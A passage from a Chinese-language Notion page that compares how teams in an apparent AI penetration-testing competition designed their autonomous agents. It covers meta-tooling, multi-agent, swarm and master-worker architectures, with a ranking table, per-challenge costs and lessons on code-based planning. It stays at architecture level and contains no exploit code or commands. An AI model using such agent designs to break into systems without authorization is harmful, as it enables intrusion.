notion-block-30a0f0c5b87c8110a892d0b05c18ed4a" data-id="30a0f0c5b87c8110a892d0b05c18ed4a"><span><div id="30a0f0c5b87c8110a892d0b05c18ed4a" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c8110a892d0b05c18ed4a" title="路线3: Meta-Tooling (元工具模式) ✅"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">路线3: Meta-Tooling (元工具模式) ✅</span></span></h3><div class="notion-text notion-block-30a0f0c5b87c813da32df9353a411bf8"><b>代表战队：</b> Antix（成信大）</div><div class="notion-text notion-block-30a0f0c5b87c815db88dce721c41f282"><b>核心理念：</b></div><blockquote class="notion-quote notion-block-30a0f0c5b87c81d89c84ce4ee343ac3b"><div><b>不调用工具，而是让AI写代码调用工具</b></div></blockquote><div class="notion-text notion-block-30a0f0c5b87c81e1ab78eff6733c14a8"><b>实现方式：</b></div><div class="notion-text notion-block-30a0f0c5b87c81c4b2e2c6112f2de6ea"><b>优势：</b></div><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c819f8259dd3c9d533159"><li>✅ 极高灵活性</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c8142898eea7c9ecead40"><li>✅ 无限扩展性</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c810485bbfeb63ae2cb5f"><li>✅ 状态保持（Jupyter）</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81589bc9d0330154e5fe"><li>✅ 极简架构</li></ul><div class="notion-text notion-block-30a0f0c5b87c813cb122d8dacc44494a"><b>排名：</b> 第4名</div><div class="notion-text notion-block-30a0f0c5b87c8138b0d0f81f3a3653c9"><b>结论：</b></div><blockquote class="notion-quote notion-block-30a0f0c5b87c8197a4d5c5dcff83b78a"><div><b>极简主义的价值体现，通用性强</b></div></blockquote><hr class="notion-hr notion-block-30a0f0c5b87c8120ad67fe5867db5fe2"/><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-30a0f0c5b87c813eaf28c85278b5a8b7" data-id="30a0f0c5b87c813eaf28c85278b5a8b7"><span><div id="30a0f0c5b87c813eaf28c85278b5a8b7" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c813eaf28c85278b5a8b7" title="路线4: Hierarchical Multi-Agent (层级化多智能体) ✅"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">路线4: Hierarchical Multi-Agent (层级化多智能体) ✅</span></span></h3><div class="notion-text notion-block-30a0f0c5b87c8109ac7fc104b057c8ce"><b>代表战队：</b></div><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81fdb23cec36b47f6d5d"><li>NeuroSploit（清华）</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81638529c6bbd65b27d8"><li>BinX（三人小队）</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c8149a002d554a5020a66"><li>yhy0（规划执行分离）</li></ul><div class="notion-text notion-block-30a0f0c5b87c8114ad93f9a2b4e41d54"><b>核心理念：</b></div><blockquote class="notion-quote notion-block-30a0f0c5b87c81ab891dddde9db27dfc"><div><b>分工协作，专业分工</b></div></blockquote><div class="notion-text notion-block-30a0f0c5b87c81f08e0de2cee8120afa"><b>优势：</b></div><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c814d9f4ac53e4b158729"><li>✅ 专业分工</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c812f9b81d9877de1a8af"><li>✅ 提升效率</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81e2a63af6d25102a44f"><li>✅ 降低单Agent复杂度</li></ul><div class="notion-text notion-block-30a0f0c5b87c81ddbcecd93d4b5506d4"><b>结论：</b></div><blockquote class="notion-quote notion-block-30a0f0c5b87c8163bc58c45b580a175d"><div><b>多Agent是主流方向，但实现方式各异</b></div></blockquote><hr class="notion-hr notion-block-30a0f0c5b87c81579d3acddff61f9311"/><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-30a0f0c5b87c819886a0ce052eac6c9d" data-id="30a0f0c5b87c819886a0ce052eac6c9d"><span><div id="30a0f0c5b87c819886a0ce052eac6c9d" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c819886a0ce052eac6c9d" title="路线5: Swarm Intelligence (蜂群智能) ✅"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">路线5: Swarm Intelligence (蜂群智能) ✅</span></span></h3><div class="notion-text notion-block-30a0f0c5b87c8124a42acef4fc178988"><b>代表战队：</b> 绿盟</div><div class="notion-text notion-block-30a0f0c5b87c81ac8302feac90a17a6b"><b>核心理念：</b></div><blockquote class="notion-quote notion-block-30a0f0c5b87c81e4bac7ca6059240559"><div><b>多个轻量Agent并行协作，共享笔记</b></div></blockquote><div class="notion-text notion-block-30a0f0c5b87c8100a05ad0773938d491"><b>实现方式：</b></div><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c8188b175d393dc89fb00"><li>多Agent单兵作战</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81248609f1ee4cb82d8c"><li>独立上下文</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c8179b176ccf2d0976808"><li>共享笔记本（异步通信）</li></ul><div class="notion-text notion-block-30a0f0c5b87c818599b3d690a937a9d4"><b>优势：</b></div><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81fba55aedd038ce6d02"><li>✅ 高并发</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c814aaed4d67125b3d56f"><li>✅ 低成本（13元/题）</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81e08bb0fc212cca505f"><li>✅ 信息共享</li></ul><div class="notion-text notion-block-30a0f0c5b87c81418183dc3e0ced7912"><b>排名：</b> 第7名</div><div class="notion-text notion-block-30a0f0c5b87c81698c2df64c43ad4be8"><b>结论：</b></div><blockquote class="notion-quote notion-block-30a0f0c5b87c8153b60af59dfe16bf1a"><div><b>轻量级蜂群是高性价比方案</b></div></blockquote><hr class="notion-hr notion-block-30a0f0c5b87c81e18b11c3c57be15a0d"/><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-30a0f0c5b87c812b9f6ffbe176f73c89" data-id="30a0f0c5b87c812b9f6ffbe176f73c89"><span><div id="30a0f0c5b87c812b9f6ffbe176f73c89" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c812b9f6ffbe176f73c89" title="路线6: Distributed Architecture (分布式架构) ✅"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">路线6: Distributed Architecture (分布式架构) ✅</span></span></h3><div class="notion-text notion-block-30a0f0c5b87c818187b2efed42fd3d65"><b>代表战队：</b> 西安交大</div><div class="notion-text notion-block-30a0f0c5b87c81e1a65aec805412a79a"><b>核心理念：</b></div><blockquote class="notion-quote notion-block-30a0f0c5b87c815783cfef533f7f514d"><div><b>Master-Worker模式，任务管理解耦</b></div></blockquote><div class="notion-text notion-block-30a0f0c5b87c81078c67fd00e7a79664"><b>实现方式：</b></div><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c8162a107e854b6504269"><li>Master节点：任务调度</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81769893f208963c9138"><li>Worker节点：执行渗透</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c8121afc6f6fe1ba67827"><li>XML协议：标准通信</li></ul><div class="notion-text notion-block-30a0f0c5b87c8138a5b4edbb0b566316"><b>优势：</b></div><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c8142b673c1a4204dbfa9"><li>✅ 水平扩展</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81248033ddb45bb2fe5c"><li>✅ 高可用</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81339b11df39c9f7600f"><li>✅ 负载均衡</li></ul><div class="notion-text notion-block-30a0f0c5b87c81f7a767f1dbbd40fca0"><b>排名：</b> 第2名 🥈</div><div class="notion-text notion-block-30a0f0c5b87c81cea1b0ddd3fa0a0ace"><b>结论：</b></div><blockquote class="notion-quote notion-block-30a0f0c5b87c81ed98a9e44555e17c48"><div><b>企业级应用的必备架构</b></div></blockquote><hr class="notion-hr notion-block-30a0f0c5b87c8174a792d6979aa7d23a"/><h2 class="notion-h notion-h1 notion-h-indent-0 notion-block-30a0f0c5b87c8131a518cdb8c8d902b3" data-id="30a0f0c5b87c8131a518cdb8c8d902b3"><span><div id="30a0f0c5b87c8131a518cdb8c8d902b3" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c8131a518cdb8c8d902b3" title="九大战队技术方案全景对比表"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">九大战队技术方案全景对比表</span></span></h2><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-30a0f0c5b87c8124b891f4b85c003ddd" data-id="30a0f0c5b87c8124b891f4b85c003ddd"><span><div id="30a0f0c5b87c8124b891f4b85c003ddd" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c8124b891f4b85c003ddd" title="综合对比表（基于原始XBow笔记扩展）"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">综合对比表（基于原始XBow笔记扩展）</span></span></h3><table class="notion-simple-table notion-block-30a0f0c5b87c819db116f705e8266f71"><tbody><tr class="notion-simple-table-row notion-simple-table-header-row notion-block-30a0f0c5b87c817e9559ce4693950249"><td class="" style="width:120px"><div class="notion-simple-table-cell">战队</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">排名</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">对自动化的核心观点</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">方法架构</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">关键技术/特点</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">优点</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">缺点/挑战</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">成本</div></td></tr><tr class="notion-simple-table-row notion-block-30a0f0c5b87c8160816dea5014f56b74"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>长亭外</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">🥇1</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">用代码精确规划，替代不稳定Prompt</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">DSPy/MPI</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">- 代码规划- DSPy框架- 执行暂停机制</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">- 精确控制- 稳定可靠- 易维护</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">- 需要编程基础- 成本较高</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">~30元/题</div></td></tr><tr class="notion-simple-table-row notion-block-30a0f0c5b87c817f884bdbd3e755f86e"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>西安交大</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">🥈2</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">分布式+标准化流程</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Master-Worker + XML</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">- 分布式集群- XML强类型协议- 三阶段流水线</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">- 水平扩展- 高可用- 类型安全</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">- 复杂度高- 灵活性不足</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">N/A</div></td></tr><tr class="notion-simple-table-row notion-block-30a0f0c5b87c815bb4b7c0b164104ef2"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>BinX</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">🥉3</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">解决AI感知状态失真和效率低</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">三人小队架构</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">- 沙箱清洗- 元工具编排- 意图图谱</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">- 系统化方法论- 噪音处理</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">- 实现复杂度高</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">N/A</div></td></tr><tr class="notion-simple-table-row notion-block-30a0f0c5b87c8151bf04d7159af51c4a"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>Antix</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">4</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">极简设计，充分发挥模型能力</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Meta-Tooling</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">- Jupyter Kernel- 单一接口- 零调优</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">- 极高灵活性- 状态保持- 通用性强</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">- 依赖模型能力</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">19.2元/题</div></td></tr><tr class="notion-simple-table-row notion-block-30a0f0c5b87c813cb26bf50940aa1b63"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>(第五名)</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">5</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">信息缺失</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">信息缺失</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">信息缺失</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">信息缺失</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">信息缺失</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">N/A</div></td></tr><tr class="notion-simple-table-row notion-block-30a0f0c5b87c81ae931ed7e9d35b27bb"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>NeuroSploit</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">6</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">外部知识库弥补模型不足</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">多Agent + MCP</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">- 知识军火库- ReMem自进化- 层级化Agent</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">- 自进化能力- 专家级深度</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">- 架构复杂- 启动成本高</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">N/A</div></td></tr><tr class="notion-simple-table-row notion-block-30a0f0c5b87c817ab5fcdf0c4f76dbe5"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>绿盟</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">7</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">多智能体协作和信息共享</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">蜂群并行</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">- 共享笔记本- 三大纠偏机制</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">- 高并发- 低成本- 信息整合</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">- 工程实现难度</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">13元/题</div></td></tr><tr class="notion-simple-table-row notion-block-30a0f0c5b87c81b8a9abe79d233acedb"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>香港城市大学</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">8</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">分级处理不同难度任务</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">多级队列 + ReAct</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">- Hint Injection- 赛马机制- 共享记忆</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">- 资源分配合理- 打破僵局</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">- 赛马成本高</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">N/A</div></td></tr><tr class="notion-simple-table-row notion-block-30a0f0c5b87c819eb29deaaf064a7cb4"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>yhy0</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">9</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">顾问介入提供兜底策略</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">顾问介入机制</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">- 四种触发机制- 按需知识加载</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">- 创新的兜底策略- 实用价值高</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">- Prompt混杂</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">13.7元/题</div></td></tr></tbody></table><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-30a0f0c5b87c8160a4ead5302b127d3a" data-id="30a0f0c5b87c8160a4ead5302b127d3a"><span><div id="30a0f0c5b87c8160a4ead5302b127d3a" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c8160a4ead5302b127d3a" title="核心洞察总结（综合原始笔记）"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">核心洞察总结（综合原始笔记）</span></span></h3><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c8115abdbefbf26bf89c8" data-id="30a0f0c5b87c8115abdbefbf26bf89c8"><span><div id="30a0f0c5b87c8115abdbefbf26bf89c8" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c8115abdbefbf26bf89c8" title="1. 技术路径分野：Prompting vs Programming"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">1. 技术路径分野：Prompting vs Programming</span></span></h4><div class="notion-text notion-block-30a0f0c5b87c81e686d4d8d2a61008cf"><b>主要分歧：</b></div><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c819ba438d30ea4c0b34e"><li><b>Prompting（提示词工程）</b> ：通过精心设计的提示词控制AI（已被淘汰）</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c8112990acf6dab073d37"><li><b>Programming（代码规划）</b> ：用代码/协议显式定义业务逻辑（主流趋势）</li></ul><div class="notion-text notion-block-30a0f0c5b87c81c2bc30f8599d861235"><b>实践证明：</b></div><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81c490a4e96fe0a60ece"><li>长亭外、西安交大等前列战队都采用代码规划</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81f7b5cbc38ad4843e54"><li>代码规划在精确性、稳定性、可维护性上全面超越提示词工程</li></ul><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c8192bd01f08236b69866" data-id="30a0f0c5b87c8192bd01f08236b69866"><span><div id="30a0f0c5b87c8192bd01f08236b69866" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c8192bd01f08236b69866" title="2. 模型能力是决定性因素"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">2. 模型能力是决定性因素</span></span></h4><div class="notion-text notion-block-30a0f0c5b87c81bf9759cb459f3e5ef5"><b>关键发现：</b></div><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c8125aec3eb8d9ecbb149"><li>所有成功方案都依赖强大的底层LLM</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c813ca875f2173f37d7f2"><li>DeepSeek：性价比最优，适合常规任务</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c813f9894f669c07d857e"><li>Kimi：在攻坚难题上有优势</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c816598efca4a4128c259"><li>Claude Code：在代码生成上表现出色</li></ul><div class="notion-text notion-block-30a0f0c5b87c81389242f8b8289dda77"><b>结论：</b></div><blockquote class="notion-quote notion-block-30a0f0c5b87c81269216cb09e0f17a5a"><div>AI渗透的上限由底层模型能力决定，架构设计决定了能多大程度发挥模型能力</div></blockquote><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c81e2b442ecf7769146c0" data-id="30a0f0c5b87c81e2b442ecf7769146c0"><span><div id="30a0f0c5b87c81e2b442ecf7769146c0" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c81e2b442ecf7769146c0" title="3. 务实与前瞻的平衡"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">3. 务实与前瞻的平衡</span></span></h4><div class="notion-text notion-block-30a0f0c5b87c81b58c1ff5de405430de"><b>两种极致：</b></div><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c8103b480e528ef99a501"><li><b>务实战队</b>（如Antix）：在现有模型能力下用最简单方法解决问题</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c8144a0eaf4f5bb54380a"><li><b>前瞻战队</b>（如长亭外、NeuroSploit）：探索应对真实世界中复杂、非收敛的渗透空间</li></ul><div class="notion-text notion-block-30a0f0c5b87c814f8113e4fb925f1318"><b>最佳实践：</b> 融合两者，在工程化和创新之间找到平衡</div><hr class="notion-hr notion-block-30a0f0c5b87c814cbf74ca402483cc08"/><h2 class="notion-h notion-h1 notion-h-indent-0 notion-block-30a0f0c5b87c810e9b8cd1219500f402" data-id="30a0f0c5b87c810e9b8cd1219500f402"><span><div id="30a0f0c5b87c810e9b8cd1219500f402" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c810e9b8cd1219500f402" title="核心问题解决方案对比"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">核心问题解决方案对比</span></span></h2><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-30a0f0c5b87c81b59262c85b89919f78" data-id="30a0f0c5b87c81b59262c85b89919f78"><span><div id="30a0f0c5b87c81b59262c85b89919f78" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c81b59262c85b89919f78" title="问题1: 上下文污染与Token浪费"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">问题1: 上下文污染与Token浪费</span></span></h3><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-30a0f0c5b87c817d886bc83a21549a5a"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column"><img 